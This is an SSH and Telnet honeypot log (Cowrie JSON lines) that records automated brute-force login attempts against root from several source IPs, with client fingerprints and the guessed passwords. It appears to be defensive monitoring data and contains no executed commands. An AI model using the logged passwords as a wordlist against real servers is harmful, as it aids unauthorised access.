{"eventid":"cowrie.login.failed","username":"root","password":"P1x3l!S3cur3","message":"login attempt [root/P1x3l!S3cur3] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T10:52:48.600059Z","src_ip":"162.214.159.200","session":"07d7e44acccf","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"92.118.39.71","src_port":43786,"dst_ip":"159.203.135.109","dst_port":22,"session":"92d06b95e0dc","protocol":"ssh","message":"New connection: 92.118.39.71:43786 (159.203.135.109:22) [session: 92d06b95e0dc]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T10:52:50.469744Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T10:52:50.473761Z","src_ip":"92.118.39.71","session":"92d06b95e0dc","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"2ec37a7cc8daf20b10e1ad6221061ca5","hasshAlgorithms":"curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group-exchange-sha256,diffie-hellman-group-exchange-sha1,diffie-hellman-group16-sha512,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-ctr,aes192-ctr,aes256-ctr,aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,arcfour256,arcfour128,arcfour,3des-cbc,aes128-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group-exchange-sha256","diffie-hellman-group-exchange-sha1","diffie-hellman-group16-sha512","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-rsa","rsa-sha2-256","rsa-sha2-512","ssh-dss","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ssh-ed25519"],"encCS":["aes128-ctr","aes192-ctr","aes256-ctr","aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","arcfour256","arcfour128","arcfour","3des-cbc","aes128-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 2ec37a7cc8daf20b10e1ad6221061ca5","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T10:52:50.571491Z","src_ip":"92.118.39.71","session":"92d06b95e0dc","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"1234567","message":"login attempt [root/1234567] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T10:52:50.868052Z","src_ip":"92.118.39.71","session":"92d06b95e0dc","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T10:52:51.972744Z","src_ip":"92.118.39.71","session":"92d06b95e0dc","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"3.9","message":"Connection lost after 3.9 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T10:52:52.118919Z","src_ip":"162.214.159.200","session":"07d7e44acccf","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"162.241.132.183","src_port":47800,"dst_ip":"159.203.135.109","dst_port":22,"session":"651aee6bbb60","protocol":"ssh","message":"New connection: 162.241.132.183:47800 (159.203.135.109:22) [session: 651aee6bbb60]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T10:52:59.174522Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T10:52:59.177413Z","src_ip":"162.241.132.183","session":"651aee6bbb60","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T10:52:59.203880Z","src_ip":"162.241.132.183","session":"651aee6bbb60","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"celsius2024","message":"login attempt [root/celsius2024] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T10:52:59.285836Z","src_ip":"162.241.132.183","session":"651aee6bbb60","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.1","message":"Connection lost after 1.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T10:53:00.315841Z","src_ip":"162.241.132.183","session":"651aee6bbb60","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"208.109.189.255","src_port":57340,"dst_ip":"159.203.135.109","dst_port":22,"session":"ac2dd6d3ef69","protocol":"ssh","message":"New connection: 208.109.189.255:57340 (159.203.135.109:22) [session: ac2dd6d3ef69]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T10:53:23.497910Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T10:53:23.501476Z","src_ip":"208.109.189.255","session":"ac2dd6d3ef69","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T10:53:23.566049Z","src_ip":"208.109.189.255","session":"ac2dd6d3ef69","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"L1NK@M@st3r$","message":"login attempt [root/L1NK@M@st3r$] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T10:53:23.763106Z","src_ip":"208.109.189.255","session":"ac2dd6d3ef69","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.3","message":"Connection lost after 1.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T10:53:24.830741Z","src_ip":"208.109.189.255","session":"ac2dd6d3ef69","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"143.20.185.207","src_port":58070,"dst_ip":"159.203.135.109","dst_port":22,"session":"1892783a64ac","protocol":"ssh","message":"New connection: 143.20.185.207:58070 (159.203.135.109:22) [session: 1892783a64ac]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T10:53:27.330813Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T10:53:27.333997Z","src_ip":"143.20.185.207","session":"1892783a64ac","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T10:53:27.454978Z","src_ip":"143.20.185.207","session":"1892783a64ac","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"RASYAXINSA4VCPU8GBAMD","message":"login attempt [root/RASYAXINSA4VCPU8GBAMD] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T10:53:27.845053Z","src_ip":"143.20.185.207","session":"1892783a64ac","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.6","message":"Connection lost after 1.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T10:53:28.961226Z","src_ip":"143.20.185.207","session":"1892783a64ac","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"170.64.224.25","src_port":42652,"dst_ip":"159.203.135.109","dst_port":23,"session":"d9a2dcd0f7d8","protocol":"telnet","message":"New connection: 170.64.224.25:42652 (159.203.135.109:23) [session: d9a2dcd0f7d8]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T10:53:57.320992Z"}
{"eventid":"cowrie.session.connect","src_ip":"185.242.3.195","src_port":39190,"dst_ip":"159.203.135.109","dst_port":22,"session":"49f3d2d207ba","protocol":"ssh","message":"New connection: 185.242.3.195:39190 (159.203.135.109:22) [session: 49f3d2d207ba]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T10:54:09.959544Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T10:54:10.385559Z","src_ip":"185.242.3.195","session":"49f3d2d207ba","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T10:54:10.390851Z","src_ip":"185.242.3.195","session":"49f3d2d207ba","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"zcadqe","message":"login attempt [root/zcadqe] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T10:54:11.076013Z","src_ip":"185.242.3.195","session":"49f3d2d207ba","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.2","message":"Connection lost after 2.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T10:54:12.166151Z","src_ip":"185.242.3.195","session":"49f3d2d207ba","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"173.236.141.65","src_port":59222,"dst_ip":"159.203.135.109","dst_port":22,"session":"e46a2a91a7a4","protocol":"ssh","message":"New connection: 173.236.141.65:59222 (159.203.135.109:22) [session: e46a2a91a7a4]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T10:54:31.118046Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T10:54:31.121869Z","src_ip":"173.236.141.65","session":"e46a2a91a7a4","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T10:54:31.134066Z","src_ip":"173.236.141.65","session":"e46a2a91a7a4","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"F3t$M@st3r#P@ss","message":"login attempt [root/F3t$M@st3r#P@ss] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T10:54:31.176425Z","src_ip":"173.236.141.65","session":"e46a2a91a7a4","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.1","message":"Connection lost after 1.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T10:54:32.192215Z","src_ip":"173.236.141.65","session":"e46a2a91a7a4","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":45.98834466934204,"message":"Connection lost after 45 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T10:54:43.309260Z","src_ip":"170.64.224.25","session":"d9a2dcd0f7d8","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"170.64.224.25","src_port":36894,"dst_ip":"159.203.135.109","dst_port":23,"session":"0267b9d979df","protocol":"telnet","message":"New connection: 170.64.224.25:36894 (159.203.135.109:23) [session: 0267b9d979df]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T10:54:46.940017Z"}
{"eventid":"cowrie.session.connect","src_ip":"148.113.201.25","src_port":36866,"dst_ip":"10.17.0.5","dst_port":22,"session":"9625e2f4cd66","protocol":"ssh","message":"New connection: 148.113.201.25:36866 (10.17.0.5:22) [session: 9625e2f4cd66]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T10:55:00.122472Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh2_1.11.0","message":"Remote SSH version: SSH-2.0-libssh2_1.11.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T10:55:00.126601Z","src_ip":"148.113.201.25","session":"9625e2f4cd66","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"14b2ddda386a4d1006108ccd231b42fc","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group-exchange-sha256,diffie-hellman-group16-sha512,diffie-hellman-group18-sha512,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,diffie-hellman-group-exchange-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,rijndael-cbc@lysator.liu.se,aes192-cbc,aes128-cbc,blowfish-cbc,arcfour128,arcfour,cast128-cbc,3des-cbc;hmac-sha2-256,hmac-sha2-256-etm@openssh.com,hmac-sha2-512,hmac-sha2-512-etm@openssh.com,hmac-sha1,hmac-sha1-etm@openssh.com,hmac-sha1-96,hmac-md5,hmac-md5-96,hmac-ripemd160,hmac-ripemd160@openssh.com;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group-exchange-sha256","diffie-hellman-group16-sha512","diffie-hellman-group18-sha512","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","diffie-hellman-group-exchange-sha1","ext-info-c"],"keyAlgs":["ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519","ssh-ed25519-cert-v01@openssh.com","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-rsa-cert-v01@openssh.com","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","rijndael-cbc@lysator.liu.se","aes192-cbc","aes128-cbc","blowfish-cbc","arcfour128","arcfour","cast128-cbc","3des-cbc"],"macCS":["hmac-sha2-256","hmac-sha2-256-etm@openssh.com","hmac-sha2-512","hmac-sha2-512-etm@openssh.com","hmac-sha1","hmac-sha1-etm@openssh.com","hmac-sha1-96","hmac-md5","hmac-md5-96","hmac-ripemd160","hmac-ripemd160@openssh.com"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 14b2ddda386a4d1006108ccd231b42fc","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T10:55:00.147295Z","src_ip":"148.113.201.25","session":"9625e2f4cd66","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"8a:9d:52:cf:e3:9c:5b:31:a8:a6:cc:b6:60:93:3c:12","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQCwMvW0fRkaUpnZKlNpb/c/gDWulKh1irjhWS2gaEFe7ECmkiggo+HwJ7cwTSPY0mcXxCvtPqkAathbQiXQW7SxjzFlpemIVp5XDMy5FFutJJ5gPDBBQpBussSGxL3ptHHFCAS5SOjknL5Gn9NGlZRSOM8skAfWN3emuX5HYbcyniLtkqnk6e3xGr6zoOE7PkcOQuS5w/+u58QA9LayEidEYOEW4uDjsZeYFmPOvMss4sVfJo6eBdb72paOSt5te5b5Ks/1KzEVuZMgR3ctFBmIEg2zhewBAzVBghxIAomYCucl5K9uSBtPKPuZHGtBloVxT0E4OXF602mBZTAlPNx5","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint 8a:9d:52:cf:e3:9c:5b:31:a8:a6:cc:b6:60:93:3c:12","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T10:55:00.228194Z","src_ip":"148.113.201.25","session":"9625e2f4cd66","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"8a:9d:52:cf:e3:9c:5b:31:a8:a6:cc:b6:60:93:3c:12","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQCwMvW0fRkaUpnZKlNpb/c/gDWulKh1irjhWS2gaEFe7ECmkiggo+HwJ7cwTSPY0mcXxCvtPqkAathbQiXQW7SxjzFlpemIVp5XDMy5FFutJJ5gPDBBQpBussSGxL3ptHHFCAS5SOjknL5Gn9NGlZRSOM8skAfWN3emuX5HYbcyniLtkqnk6e3xGr6zoOE7PkcOQuS5w/+u58QA9LayEidEYOEW4uDjsZeYFmPOvMss4sVfJo6eBdb72paOSt5te5b5Ks/1KzEVuZMgR3ctFBmIEg2zhewBAzVBghxIAomYCucl5K9uSBtPKPuZHGtBloVxT0E4OXF602mBZTAlPNx5","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T10:55:00.230731Z","src_ip":"148.113.201.25","session":"9625e2f4cd66","protocol":"ssh"}
